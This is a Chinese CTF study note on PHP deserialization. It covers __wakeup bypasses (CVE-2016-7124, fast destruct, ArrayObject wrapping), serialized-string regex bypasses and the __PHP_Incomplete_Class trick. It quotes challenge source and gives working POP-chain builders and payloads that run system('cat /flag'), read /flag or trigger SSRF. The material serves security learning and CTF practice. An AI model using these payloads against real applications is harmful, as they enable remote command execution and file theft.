php的__wakeup绕过
__wakeup绕过
cve-2016-7124
影响范围:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。
听名字很高大上,其实就是最常用的修改数字
php引用赋值&
<?php
highlight_file(__file__);
function test (&$a){
$x=&$a; ###共用一个地址
$x='123';
}
$a='11';
test($a);
echo $a;
?>
示例
<?php
highlight_file(__file__);
class KeyPort{
public $key;
public function __destruct()
{
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}
public function __wakeup(){
$this->wakeup=True;
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
$a = new KeyPort();
$a->key = &$a->wakeup;
//$a->wakeup = &$a->key;
echo serialize($a);
值恒相等
我记得好像见过要令两个值相等,但又不能赋值的情况(遇到再说吧)
$this→b = &$this→a
fast destruct (不仅是wakeup也能绕throws new Error)
追加总结,fast destruct是绕过别的类里面的__wakeup
,同一个类中的__destruct
始终在同一个类中的__wakup
之后执行(是在pop链的时候,只有一个类可以绕过)
- 在PHP中如果单独执行
unserialize()
函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()
方法 - 而如果将
unserialize()
函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法
$a = unserialize($_GET['pop']); ##特征
在我看来,fast destruct的原理就是利用反序列化字符串报错
正常反序列化的结果:
a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}}
------------------------------------------------------------
a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{} #减少末尾的}
a:3:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}} #改变类属性的个数
a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{};} #后面插入个;号
(第二种那不就变得跟cve-2016那个一样了吗)
理论上只要不破坏链条的基本结构,其他的地方你随便改,使它报错即可
DASCTF X GFCTF 2022十月挑战赛 easypop
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
<?php
class fine
{
public $cmd;
public $content;
public function __construct()
{
$this->cmd = "system";
$this->content = "ls /";
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
}
class sorry
{
public $name;
public $password;
public $hint;
public $key;
}
class secret_code
{
public $code;
}
$d = new sorry();
$d->key = new fine();
$c = new secret_code();
$b = new show();
$a = new sorry();
$a->hint = $b;
$b->ctf = $c;
$c->code = $d;
echo serialize($a);
##
O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;}}}
pop链就不讲了(还是有难度的,因为我对private等的理解不够)
payload:
O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;}}
相似题目的特殊情况
上面的题目因为开头是sorry类,所以正好能调用setPassword
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
但若调用了个不存在的方法呢
#这里$FV的类没有loadfile()方法
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
题目
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
#pop链
Backdoor::destruct–>FileViewer::__call–>FileViewer::loadfile
可以看到反序列化后的开头类是Backdoor
(不太会表述,自行理解一下)
Backdoor
没有loadfile()
方法
预期解fast destruct
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
}
class Backdoor{
public $a;
public $b;
public $superhacker = "http://127.0.0.1:65500";
public function __construct(){
$this->a = new FileViewer;
$this->b="local";
}
}
$a=new Backdoor();
echo serialize($a);
?>
结果随便改点触发fast destruct即可
特殊解法
再实例化一个 FileViewer
对象 将 Backdoor
塞进这个对象的某个属性里(不存在的属性)
$a=new Backdoor();
$b=new FileViewer();
$b->test = $a; ###FileViewer中没有test属性
echo base64_encode(serialize($b));
先总结一下这道题的做法
这道题目主要是在loadfile()
报错终止程序之前触发__destruct
方法(就是预期解)
可以看到__destruct
比__wakeup
还要提前执行(所以可以__wakeup
绕过,但这里就不是绕过__wakeup
的问题)
特殊解决方法
loadfile()
不会报错,并且由于这里有可以赋值的函数,所以__wakeup
的限定已经是废了
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
对这道题的个人一些小问题,挺不理解的还是魔法函数的调用顺序问题
但这里的调用顺序不是很明白
问了unknown
师傅,原来new
了几次Fileviewer
就会触发几个__wakeup
,然后都在unserialzie
之前调用,接着由于是FileViewer
类可以调用loadfile()
,调用完后程序结束触发__destruct
由此扩展一下
假设Backdoor中也有__wakeup
方法,那会是咋样的呢
预期解(fast destruct之后)
对比之前预期解的结果,可以看到先触发了Fileviewer的__wakeup
,再触发了Backdoor的__wakeup
,然后执行__destruct
可以绕过报错,但无法绕过__wakeup
,。。。。。。。(哎)
特殊解决方法 的情况
这backdoor中的__wakeup触发顺序不是很懂
当我在特殊情况上多套一层
$a = new Backdoor();
$a->a = new FileViewer();
$a->b= "local";
$b = new FileViewer();
$b->test = $a;
$c = new FileViewer();
$c->test = $b;
echo serialize($c);
是在输出back_wakeup
之后多输出了一次__wakup
那我在特殊情况的backdoor
里面多套一层new FileViewer
呢
$c = new FileViewer();
$a = new Backdoor();
$a->a = new FileViewer();
$a->b= "local";
$a->c = $c;
$b = new FileViewer();
$b->test = $a;
echo serialize($b);
由此得出__wakeup函数的触发顺序
总结
new
了几次Fileviewer
就会触发几个__wakeup
- 当本类同时有
__destruct
和__wakeup
,fast destruct绕不过去 - 有多个
__wakeup
函数时,触发的顺序是根据payload中的类由里到外的顺序
php issue#9618 (wakeup与destruct在不同类)
原理:
序列化时protected
字段名前面会加上\0*\0
的前缀 s:6:"\0*\0end"
序列化时private
字段名前面会加上\0类名\0
的前缀 s:6:"\0A\0end"
class A
{
private $end = "1"; #private或protected的变量
}
由于\0不可见(一般改为%00),上传时会出现数字与字符数量不匹配的情况
#序列化的真实情况
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"\0A\0end";s:1:"1";}
#上传payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"Aend";s:1:"1";}
大概跟字符串报错一个原理
当在同一个类中时,想要以这样的方式绕过__wakeup是行不通的(而且是无法解析)
当加入%00时才能输出(但不能绕过)
使用C绕过
因为C
中不存在__wakeup
方法,所以就直接跳过去了
C
只能执行construct()
函数或者destruct()
函数,并且无法添加任何内容
<?php
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
echo "OK";
system($this->ctfshow);
}
}
$a=new ctfshow();
$a->ctfshow = "whoami";
echo serialize($a);
##O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}
直接改为C:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}
,无结果回显
使用C:7:"ctfshow":0:{}
,能够成功绕过__wakeup
执行__destruct
的代码(但由于不能带参数,无法执行system
函数)
真正做法
使用ArrayObject
对正常的反序列化进行一次包装,让最后输出的payload以C
开头
<?php
class ctfshow {
public $ctfshow;
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
echo "OK";
system($this->ctfshow);
}
}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
?>
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}
并且不能像平常一样修改命令和对应数量
C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:4:"ls /";}};m:a:0:{}} #修改命令和对应数量
无结果
其他像ArrayObject
的生成以c
开头的payload
,请看愚人杯3rd[easy_php] | Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/04/02/愚人杯3rd [easy_php]/)
嘿嘿,还得是Boogipop大佬
序列化字符串正则绕过(不能传入以O和a开头的序列化值)
字符O绕过
低版本<7.1.33
unserialize('O:+1:"C":0:{}');
字符i,d绕过
<8.0.3(全版本)
echo unserialize('i:-1;');
echo "\n";
echo unserialize('i:+1;');
echo "\n";
echo unserialize('d:-1.1;');
echo "\n";
echo unserialize('d:+1.2;');
php冷知识
题目:serialize(unserialize($x)) != $x
正常来说一个合法的反序列化字符串,在二次序列化也即反序列化再序列化之后所得到的结果是一致的。
<?php
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
echo serialize(unserialize($raw));
#O:1:"A":1:{s:1:"a";s:1:"b";}
当我们反序列化一个不存在的类时,会发生什么
可以看到出现了__PHP_Incomplete_Class
PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class
这种特殊的类,同时将原始的类名A
存放在__PHP_Incomplete_Class_Name
这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize
遇到__PHP_Incomplete_Class
这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name
值为类名的类(即A
)
当我们自己构造如下字符串
a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":1:{s:3:"abd";N;}}
可以看到当反序列化后的结果再次序列化后O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}
中__PHP_Incomplete_Class_Name
为空,找不到应该绑定的类,其属性就被丢弃了,导致了serialize(unserialize($x)) != $x
的出现。
强网杯2021 WhereisUWebShell
<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "./$classname.php";
}
?>
需要加载myclass.php
中的hello
类,但是要引入hello
类,根据__autoload
我们需要一个classname
为myclass
的类
但问题就是myclass
类不存在,如果直接去反序列化,只会在反序列化myclass
类的时候报错无法进入下一步,或者在反序列化Hello
的时候找不到这个类而报错。
a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
myclass作为了__PHP_Incomplete_Class
中属性,会触发__autoload
引入myclass.php
,而对他进行二次序列化时,因为__PHP_Incomplete_Class
没有__PHP_Incomplete_Class_Name
该对象会消失,从而绕过preg_match
的检测,并在最后触发Hello
类的反序列化。
网上的图
这道题也能fast destruct
这里